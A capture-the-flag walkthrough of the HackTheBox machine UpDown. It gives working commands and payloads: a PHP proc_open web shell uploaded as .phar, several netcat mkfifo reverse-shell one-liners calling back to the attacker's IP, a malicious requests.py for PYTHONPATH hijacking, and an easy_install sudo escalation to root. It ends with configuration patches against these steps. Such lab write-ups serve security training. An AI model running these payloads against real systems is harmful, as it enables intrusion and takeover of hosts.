HackTheBox - UpDown
Overview
This machine begins w/ a web enumeration, /dev/.git is discovered, since .git is found, we are able to view the logs and commits of the git repository, providing us w/ the header needed to access dev.siteisup.htb (siteisup.htb found at index page) & the source code of checker.php a page that allows user to upload a file that contains a bunch of URLs, to check whether the URLs are up, afterwards the uploaded file is deleted.
The source code reveals that .phar extension is not banned, allowing us to upload a .phar reverse shell to execute code. Also, the file deletion can be delayed by adding a bunch of URLs after the PHP code, providing us sufficient time to execute our reverse shell, obtaining a low-privilege/www-data shell.
For the privilege escalation part, we have to privilege escalate to developer then to root. After enumerating the system for files w/ setuid bit, siteisup an executable is found, after viewing its contents w/ strings, it is calling a python script that is importing a module requests. Since we are able to define our own python path (/tmp), we are able to privilege escalate via Python PATH Hijacking. A malicious library containing a reverse shell is created at /tmp/requests.py, after defining our own Python PATH, /tmp/request.py is executed instead of the actual requests.py library.
| Column | Details |
|---|---|
| Box Name | UpDown |
| IP | 10.10.11.177 |
| Points | 30 |
| Difficulty | Medium |
| Creator | AB2 |
| Release Date | 03 Sep 2022 |
Recon
TCP/80 (HTTP)
- FFUF
1 2 3
301 GET 9l 28w 310c http://10.10.11.177/dev => http://10.10.11.177/dev/ 200 GET 40l 93w 1131c http://10.10.11.177/index.php 403 GET 9l 28w 277c http://10.10.11.177/server-status
/dev- interesting directory found
Initial Foothold
TCP/80 (HTTP) - Subdomain Enumeration
- Proceed to
http://updown.htb
siteisup.htb- Domain name is revealed (Remember to add it to/etc/hosts! ) - Enumerate the subdomain
siteisup.htb1 2 3 4
┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/www/gitdumper/.git] └─# ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -fw 186 dev [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 249ms]
dev.siteisup.htbfound, but is403 - Forbidden
- We’ll come back to this
TCP/80 (HTTP) - siteisup.htb Enumeration (Nothing Found)
- After some testing, I can conclude that
- This is a valid request

POSTParameterssitedebug
site- if anything other than a link is submitted, “Hacking Attempt was Detected!”
After further testing, I don’t think the parameter is vulnerable
debug- if anything other than 0 is submitted, debug mode isTRUE
After further testing, I don’t think the parameter is vulnerable
- This is a valid request
- Let’s move on
Enumerate Git Repo
- Earlier, we found
/dev/, directory enumerate/dev/FUZZ1 2 3 4
.hta [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 249ms] .htaccess [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 250ms] .htpasswd [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 2217ms] .git/HEAD [Status: 200, Size: 21, Words: 2, Lines: 2, Duration: 4238ms]
.git-Gitrepository found - We are able to view the contents of the
gitrepository w/ GitToolsgitdumper- A tool that will download as much content as possible from the.gitrepository which do not have directory listing enabled.gitextractor- A tool that will extract commits and their contents from a broken repository.
- Download
.gitrepo w/gitdumper1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
┌──(root💀kali)-[~/tools/GitTools/Dumper] └─# ./gitdumper.sh http://updown.htb/dev/.git/ ~/htb/UpDown/10.10.11.177/www/updown.htb/dev/gitdumper ########### # GitDumper is part of https://github.com/internetwache/GitTools # # Developed and maintained by @gehaxelt from @internetwache # # Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes! ########### [*] Destination folder does not exist [+] Creating /root/htb/UpDown/10.10.11.177/www/updown.htb/dev/gitdumper/.git/ [+] Downloaded: HEAD [-] Downloaded: objects/info/packs [+] Downloaded: description [+] Downloaded: config [-] Downloaded: COMMIT_EDITMSG [+] Downloaded: index [+] Downloaded: packed-refs [-] Downloaded: refs/heads/master [+] Downloaded: refs/remotes/origin/HEAD [-] Downloaded: refs/stash [+] Downloaded: logs/HEAD [-] Downloaded: logs/refs/heads/master [+] Downloaded: logs/refs/remotes/origin/HEAD [-] Downloaded: info/refs [+] Downloaded: info/exclude [-] Downloaded: /refs/wip/index/refs/heads/master [-] Downloaded: /refs/wip/wtree/refs/heads/master [-] Downloaded: objects/01/0dcc30cc1e89344e2bdbd3064f61c772d89a34 [-] Downloaded: objects/00/00000000000000000000000000000000000000
- Since the
.gitdirectory has directory listing enabled, we can do the same w/wget1 2
┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/www/gitdumper/.git] └─# wget -r http://updown.htb/dev/.git/
- View files in the
gitrepository w/git ls-files1 2 3 4 5 6 7 8
┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/www/gitdumper/.git] └─# git ls-files .htaccess admin.php changelog.txt checker.php index.php stylesheet.css
- Compile all logs & commits into a file (For Easier Viewing)
1 2 3 4 5 6 7
┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/www/wget-git/updown.htb/dev] └─# git log main | grep commit | awk '{print $2}' > commits ┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/www/wget-git/updown.htb/dev] └─# cat commits | while read in; do git show "$in" >> logs; done ┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/www/wget-git/updown.htb/dev] └─# ls commits index.html logs - Found an interesting commit
bc4ba79e596e9fd98f1b2837b9bd3548d04fe7ab - New technique in header to protect our dev vhost.
Special-Dev: only4devis a required header to accessdev.siteisup.htb
Enumerate Git Repo (GitKraken)
- Install
gitkraken1 2
wget https://release.gitkraken.com/linux/gitkraken-amd64.tar.gz sudo tar -xvzf gitkraken-amd64.tar.gz
gitkrakenallows us to view the commits more easily - Launch
gitkraken& open the repo for analysis - Found an interesting commit,
bc4ba79e596e9fd98f1b2837b9bd3548d04fe7ab - New technique in header to protect our dev vhost.
Special-Dev: only4devis a required header to accessdev.siteisup.htb - Found another interesting commit
f67efd00c10784ae75bd251add3d52af50d7addd - Create checker.php1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
...SNIP... <?php function isitup($url){ $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, trim($url)); curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta"); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $f = curl_exec($ch); $header = curl_getinfo($ch); if($f AND $header['http_code'] == 200){ return array(true,$f); }else{ return false; } curl_close($ch); } if($_POST['check']){ # File size must be less than 10kb. if ($_FILES['file']['size'] > 10000) { die("File too large!"); } $file = $_FILES['file']['name']; # Check if extension is allowed. $ext = getExtension($file); if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){ die("Extension not allowed!"); } # Create directory to upload our file. $dir = "uploads/".md5(time())."/"; if(!is_dir($dir)){ mkdir($dir, 0770, true); } # Upload the file. $final_path = $dir.$file; move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}"); # Read the uploaded file. $websites = explode("\n",file_get_contents($final_path)); foreach($websites as $site){ $site=trim($site); if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){ $check=isitup($site); if($check){ echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>"; }else{ echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>"; } }else{ echo "<center><font color='red'>Hacking attempt was detected !</font></center>"; } } # Delete the uploaded file. @unlink($final_path); } function getExtension($file) { $extension = strrpos($file,"."); return ($extension===false) ? "" : substr($file,$extension+1); } ?> ...SNIP...- Basically what the
PHPcode is doing is, - Checks if the file we uploaded is less than
10 kb, elsedie - Checks if the content of the file we uploaded, whether it has any banned extensions (This is to prevent
PHPfile from being uploaded). However,.pharis not in the list, this means that we can upload a.pharfile to do code execution. - Next, a directory (
uploads/md5sum/<uploaded file>) is created to store our uploaded file. - Next, it
curlthe URLs in our file. - After the
forloop goes through all the URLs, delete the uploaded file.
- Basically what the
- How do we do a file upload bypass to execute
PHPcode- Since
.pharis not banned, we can executePHPcode - We can add a bunch of URLs at the end of our
PHPcode, this will give us sufficient time to browse to/upload/md5sum/<uploaded file>to execute ourPHPcode.1 2 3 4 5 6
<PHP CODE> http://example.com http://example.com http://example.com http://example.com more URLs
- Since
TCP/80 (HTTP) - dev.siteisup.htb, File Upload Bypass + Command Execution
- Add
Special-Dev: only4devHeader w/hackbar
This will permanently add
Special-Dev: only4devHeader. - Create our payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
# Payload http://example.com <?php system($_GET['c']); ?> http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com more URLs
It failed
- Lets look at
phpinfo()to see why1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
# Payload <?php phpinfo(); ?> http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com http://example.com more URLs
A bunch of command execution functions are disabled
system(), passthru(), shell_exec(), popen(), fsockopen(). - Lets find out if we can bypass the restrictions w/
dfunc-bypasser- Download
phpinfofile1 2
┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/exploit] └─# curl http://dev.siteisup.htb/uploads/dd2f884d6ca7dba024fa145f8b5b258b/exploit.phar -H "Special-Dev: only4dev" -H "Host: dev.siteisup.htb" > phpinfo.php
- Run
dfunc-bypasser1 2 3 4 5 6
┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/exploit] └─# python dfunc-bypasser.py --file phpinfo.php Please add the following functions in your disable_functions option: proc_open If PHP-FPM is there stream_socket_sendto,stream_socket_client,fsockopen can also be used to be exploit by poisoning the request to the unix socket
proc_open- we can use this to invoke a reverse shell !
- Download
- Create our payload - Source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
<?php // descriptor array $desc = array( 0 => array('pipe', 'r'), // 0 is STDIN for process 1 => array('pipe', 'w'), // 1 is STDOUT for process 2 => array('file', '/tmp/error-output.txt', 'a') // 2 is STDERR for process ); // command to invoke markup engine $cmd = "ping -c 5 10.10.14.104"; // spawn the process $p = proc_open($cmd, $desc, $pipes); // send the wiki content as input to the markup engine // and then close the input pipe so the engine knows // not to expect more input and can start processing fwrite($pipes[0], $content); fclose($pipes[0]); // read the output from the engine $html = stream_get_contents($pipes[1]); // all done! Clean up fclose($pipes[1]); fclose($pipes[2]); proc_close($p); ?> http://example.com http://example.com http://example.com more URLs - Demo - File Upload Bypass -> Command Execution Test

Ping returned !
- Invoke reverse shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
# Payload <?php // descriptor array $desc = array( 0 => array('pipe', 'r'), // 0 is STDIN for process 1 => array('pipe', 'w'), // 1 is STDOUT for process 2 => array('file', '/tmp/error-output.txt', 'a') // 2 is STDERR for process ); // command to invoke markup engine $cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.104 4444 >/tmp/f"; // spawn the process $p = proc_open($cmd, $desc, $pipes); // send the wiki content as input to the markup engine // and then close the input pipe so the engine knows // not to expect more input and can start processing fwrite($pipes[0], $content); fclose($pipes[0]); // read the output from the engine $html = stream_get_contents($pipes[1]); // all done! Clean up fclose($pipes[1]); fclose($pipes[2]); proc_close($p); ?> http://example.com http://example.com http://example.com more URLs www-datashell obtained1 2 3 4 5 6 7 8 9 10 11 12
┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/exploit] └─# nc -nvlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.11.177. Ncat: Connection from 10.10.11.177:58708. /bin/sh: 0: can't access tty; job control turned off $ id;whoami uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data $
- Demo - File Upload Bypass -> Invoke Reverse Shell

Privilege Escalation
Developer - Enumeration
- Enumerate the system for files w/ setuid bit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
www-data@updown:/tmp$ find / -perm /4000 -type f -exec ls -lda {} \; 2>/dev/null -rwsr-xr-- 1 root messagebus 51344 Apr 29 12:03 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 22840 Feb 21 2022 /usr/lib/policykit-1/polkit-agent-helper-1 -rwsr-xr-x 1 root root 473576 Mar 30 2022 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 53040 Mar 14 2022 /usr/bin/chsh -rwsr-xr-x 1 root root 67816 Feb 7 2022 /usr/bin/su -rwsr-xr-x 1 root root 39144 Feb 7 2022 /usr/bin/umount -rwsr-xr-x 1 root root 166056 Jan 19 2021 /usr/bin/sudo -rwsr-xr-x 1 root root 88464 Mar 14 2022 /usr/bin/gpasswd -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount -rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at -rwsr-xr-x 1 root root 68208 Mar 14 2022 /usr/bin/passwd -rwsr-xr-x 1 root root 44784 Mar 14 2022 /usr/bin/newgrp -rwsr-xr-x 1 root root 85064 Mar 14 2022 /usr/bin/chfn -rwsr-xr-x 1 root root 55528 Feb 7 2022 /usr/bin/mount -rwsr-x--- 1 developer www-data 16928 Jun 22 15:45 /home/developer/dev/siteisup/home/developer/dev/siteisup- userdevelopersetuid bit - View contents of
/home/developer/dev/siteisupw/strings1 2 3 4
...SNIP... Welcome to 'siteisup.htb' application /usr/bin/python /home/developer/dev/siteisup_test.py ...SNIP...
/home/developer/dev/siteisup_test.py- python script is called - View
/home/developer/dev/siteisup_test.py1 2 3 4 5 6 7 8 9
www-data@updown:/tmp$ cat /home/developer/dev/siteisup_test.py import requests url = input("Enter URL here:") page = requests.get(url) if page.status_code == 200: print "Website is up" else: print "Website is down"requests- library is imported
Developer - Python PATH Hijacking
- How do we exploit
/home/developer/dev/siteisup?siteisupis calling a python scriptsiteisup_test.pysiteisup_test.pyis importing a libraryrequests- We are able to do Python PATH Hijacking by defining our own python path to a writable directory
/tmp - Next, create a malicious python library in our writable directory
/tmpalso calledrequests.pythat will invoke a reverse shell. - Since we defined that
/tmpis our python path,requests.pywill be executed, instead of the actualrequests.py, invoking our reverse shell.
- Exploiting
/home/developer/dev/siteisup- Remove
fcreated earlier from our reverse shell - Create malicious python library
/tmp/requests.py1 2
import os; os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.104 4444 >/tmp/f")
- Define our python path
1
www-data@updown:/tmp$ export PYTHONPATH=/tmp
- Start
netcatlistener1 2 3 4 5
┌──(root💀kali)-[~/htb/UpDown] └─# nc -nvlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444
- Invoke reverse shell
1
/home/developer/dev/siteisup
developershell obtained1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(root💀kali)-[~/htb/UpDown] └─# nc -nvlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.11.177. Ncat: Connection from 10.10.11.177:59048. $ id;whoami uid=1002(developer) gid=33(www-data) groups=33(www-data) developer $ cd /home/developer $ ls dev user.txt
- Remove
- Demo - Python PATH Hijacking Privilege Escalation

- Copy user
developer’s SSH private key (/home/developer/.ssh/id_rsa) & SSH to obtain a stable shell1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
┌──(root💀kali)-[~/htb/UpDown/10.10.11.177/loot] └─# ssh developer@updown.htb -i id_rsa Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-122-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon Oct 24 11:43:51 UTC 2022 System load: 0.0 Usage of /: 51.8% of 2.84GB Memory usage: 29% Swap usage: 0% Processes: 256 Users logged in: 0 IPv4 address for eth0: 10.10.11.177 IPv6 address for eth0: dead:beef::250:56ff:feb9:b8c1 8 updates can be applied immediately. 8 of these updates are standard security updates. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Tue Aug 30 11:24:44 2022 from 10.10.14.36 developer@updown:~$
Root - Enumeration
- View user
developersudo access1 2 3 4 5 6
developer@updown:/tmp$ sudo -l Matching Defaults entries for developer on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User developer may run the following commands on localhost: (ALL) NOPASSWD: /usr/local/bin/easy_installeasy_install- has a GTFOBins Entry
Root - SUDO GTFOBINS
- How do we exploit
easy_install?- We can break out from restricted environments by spawning an interactive system shell.
- Exploiting
easy_install- Spawn a
rootshell1 2 3 4 5 6 7 8
developer@updown:/tmp$ TF=$(mktemp -d) developer@updown:/tmp$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py developer@updown:/tmp$ sudo /usr/local/bin/easy_install $TF WARNING: The easy_install command is deprecated and will be removed in a future version. Processing tmp.bFSWGPKmBI Writing /tmp/tmp.bFSWGPKmBI/setup.cfg Running setup.py -q bdist_egg --dist-dir /tmp/tmp.bFSWGPKmBI/egg-dist-tmp-ZC4HiO #
- Spawn a
- Demo -
easy_installGTFOBins Privilege Escalation
Additional
Developer - Escape Python Sandbox Environment
- Instead of Python PATH Hijacking, we escape the python sandbox environment
- Execute
/home/developer/dev/siteisup& escape the sandbox environment1 2 3 4 5
www-data@updown:/tmp$ /home/developer/dev/siteisup Welcome to 'siteisup.htb' application Enter URL here:__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.32 4444 >/tmp/f') rm: cannot remove '/tmp/f': No such file or directory
Patch Command Execution (phpinfo)
- Add
proc_opento the list of banned functions1 2 3 4 5 6
# nano /etc/php/8.0/apache2/php.ini # CTRL + W to find disable_functions disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcn tl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo, pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlin k,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen, proc_open
- Restart
apacheto apply changes1
# service apache2 restart
- View
phpinfo
- Try to execute our reverse shell

Patched !
Patch File Upload Bypass
- Add
.pharextension to the list of banned extensions1 2 3 4 5 6 7
...SNIP... # Check if extension is allowed. $ext = getExtension($file); if(preg_match("/php|php[0-9]|phar|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){ die("Extension not allowed!"); } ...SNIP...
- Restart
apacheto apply changes1
# service apache2 restart
- Try to upload
exploit.phar
Patched !





